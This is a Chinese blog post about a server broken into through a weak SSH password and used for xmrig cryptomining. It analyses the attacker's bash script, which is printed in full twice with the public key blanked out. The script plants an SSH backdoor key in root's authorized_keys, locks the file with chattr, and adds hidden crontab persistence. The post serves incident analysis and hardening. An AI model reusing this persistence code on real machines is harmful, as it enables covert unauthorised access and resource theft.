昨天,我一台服务器的CPU占用率超过了80%(那台服务器并没有被用于任何项目),登录 Cockpit 一看日志,从2022年1月12日 下午 7:01 到 2022年1月12日 下午 10:04一直有sshd的登陆错误报告,10:04之后就没了,心想不好,一看cpu99%就知道出事了
检测
这台服务器并没有log4j 0day的漏洞(java都没有),只有可能是被跑字典了,并且当时密码也用的弱密码(笑),估计是个脚本小子干的,然后直接一个top,好家伙xmrig藏都不藏的,直接进去就把目录删了,暗想不对,反手进行一个
ps -aux | grep xmrig
很快啊,啥都出来了,返回了一个脚本,是用一个不明的文件 -c调用的一个脚本,后悔当时直接抄了家,没有留个底,,
只剩下一个脚本可以分析了,这个脚本让代码格式化直呼我不理解,原代码在文末附上,这里放已经被我缴械的代码(
#!/bin/bash
sshkey="ssh-rsa QWQ localhost"
FOLDER="$(cat /var/tmp/.logs/.xmr)"
sshkeyset() {
if [ $(id -u) = 0 ];
then if [ -f "/root/.ssh/authorized_keys" ];
then if ! cat /root/.ssh/authorized_keys | grep -q "${sshkey}" ;
then chattr -i -a -j -t -d -u /root ;
chattr -i -a -j -t -d -u /root/.ssh ;
chattr -i -a -j -t -d -u /root/.ssh/authorized_keys
echo $sshkey >> "/root/.ssh/authorized_keys"
chmod 600 /root/.ssh/authorized_keys
chattr +i /root/.ssh/authorized_keys
fi
else
if [ -d "/root/.ssh" ];
then
chattr -i -a -j -t -d -u /root/.ssh
echo $sshkey >> "/root/.ssh/authorized_keys"
chmod 600 /root/.ssh/authorized_keys
chattr +i /root/.ssh/authorized_keys
else
chattr -i -a -j -t -d -u /root
mkdir "/root/.ssh"
echo $sshkey >> "/root/.ssh/authorized_keys"
chmod 600 /root/.ssh/authorized_keys
chattr +i /root/.ssh/authorized_keys
fi
fi
fi
}
cronjob() {
if ! crontab -l | grep -q 'updat3';
then rm -rf $FOLDER/.tempo
echo "@daily $FOLDER/start" >> $FOLDER/.tempo
sleep 1
echo "@reboot $FOLDER/updat3 > /dev/null 2>&1 & disown" >> $FOLDER/.tempo
sleep 1
echo "@monthly $FOLDER/updat3 > /dev/null 2>&1 & disown" >> $FOLDER/.tempo
sleep 1
crontab $FOLDER/.tempo
sleep 1
rm -rf $FOLDER/.tempo
fi
}
delete(){
if [ -f $FOLDER/config.json ];
then rm -rf $FOLDER/config.json
sleep 1
killall xmrig
pkill xmrig
fi
}
while :
do
sshkeyset
sleep 1
cronjob
sleep 1
delete
sleep 1
$FOLDER/1
sleep 60
done /var/tmp/.mint-xmr/updat3
解析
缴械过后的代码就扔在上面的,代码中的公钥我出于对隐私的一个保护隐去了(确信),我们来分析一下这个代码中的函数(不得不说这个代码还是写的算聪明)
首先将FOLDER
赋值为当前程序的执行目录,然后便是sshkeyset()
这个函数了,顾名思义,是设置ssh公钥以便攻击者登入的。
在这里,if [ $(id -u) = 0 ];
判断了当前用户是否为root用户(Linux下root用户id为0),然后判断本机中有没有自己的sshkey,如果没有就将公钥写入authorized_keys文件中(保存公钥用),它先对authorized_keys文件进行解锁,避免无法写入,写入后也记得上锁了,点名表扬(bushi
然后是cornjob()
这,它判断了corntab上是否已有自己的程序,如果没有就删除掉.tempo
这个文件(存了它的corntab配置信息),然后就是写入自启动(还是隐藏的),但是我机器上没有corntab,可喜可贺,可喜可贺。
然后是delete()
函数,它提供了挖矿程序的关闭和自攻(确信),这里不用细说
最后就是重复执行了,用while进行循环执行所有函数,也是我没看懂的一个地方,你挖矿就挖矿还留销毁程序干嘛(笑
尾声
最近摸鱼的比较多所以没怎么更新,处理完了这玩意儿,想着挺有趣的就更了一篇,如果我对代码理解有误也请各位大佬多多指正了(笑
最后叮嘱各位,不要在可能暴露在公网的服务器上使用弱密码(
#!/bin/bash sshkey="ssh-rsa 对隐私进行一个保护 localhost" FOLDER="$(cat /var/tmp/.logs/.xmr)" ########### sshkeyset() { ?if [ $(id -u) = 0 ]; then ??if [ -f "/root/.ssh/authorized_keys" ]; then ???if ! cat /root/.ssh/authorized_keys | grep -q "${sshkey}" ; then ????chattr -i -a -j -t -d -u /root ; chattr -i -a -j -t -d -u /root/.ssh ; chattr -i -a -j -t -d -u /root/.ssh/authorized_keys ????echo $sshkey >> "/root/.ssh/authorized_keys" ????chmod 600 /root/.ssh/authorized_keys ????chattr +i /root/.ssh/authorized_keys ???fi ??else ???if [ -d "/root/.ssh" ]; then ????chattr -i -a -j -t -d -u /root/.ssh ????echo $sshkey >> "/root/.ssh/authorized_keys" ????chmod 600 /root/.ssh/authorized_keys ????chattr +i /root/.ssh/authorized_keys ???else ????chattr -i -a -j -t -d -u /root ????mkdir "/root/.ssh" ????echo $sshkey >> "/root/.ssh/authorized_keys" ????chmod 600 /root/.ssh/authorized_keys ????chattr +i /root/.ssh/authorized_keys ???fi ??fi ?fi } cronjob() { ?if ! crontab -l | grep -q 'updat3'; then ??rm -rf $FOLDER/.tempo ??echo "@daily $FOLDER/start" >> $FOLDER/.tempo ??sleep 1 ??echo "@reboot $FOLDER/updat3 > /dev/null 2>&1 & disown" >> $FOLDER/.tempo ??sleep 1 ??echo "@monthly $FOLDER/updat3 > /dev/null 2>&1 & disown" >> $FOLDER/.tempo ??sleep 1 ??crontab $FOLDER/.tempo ??sleep 1 ??rm -rf $FOLDER/.tempo ?fi } delete() { ?if [ -f $FOLDER/config.json ]; then ??rm -rf $FOLDER/config.json ??sleep 1 ??killall xmrig ??pkill xmrig ?fi } while : do ?sshkeyset ?sleep 1 ?cronjob ?sleep 1 ?delete ?sleep 1 ?$FOLDER/1 ?sleep 60 done /var/tmp/.mint-xmr/updat3
您好~我是腾讯云开发者社区运营,关注了您分享的技术文章,觉得内容很棒,我们诚挚邀请您加入腾讯云自媒体分享计划。完整福利和申请地址请见:https://cloud.tencent.com/developer/support-plan
作者申请此计划后将作者的文章进行搬迁同步到社区的专栏下,你只需要简单填写一下表单申请即可,我们会给作者提供包括流量、云服务器等,另外还有些周边礼物。∠( ᐛ 」∠)_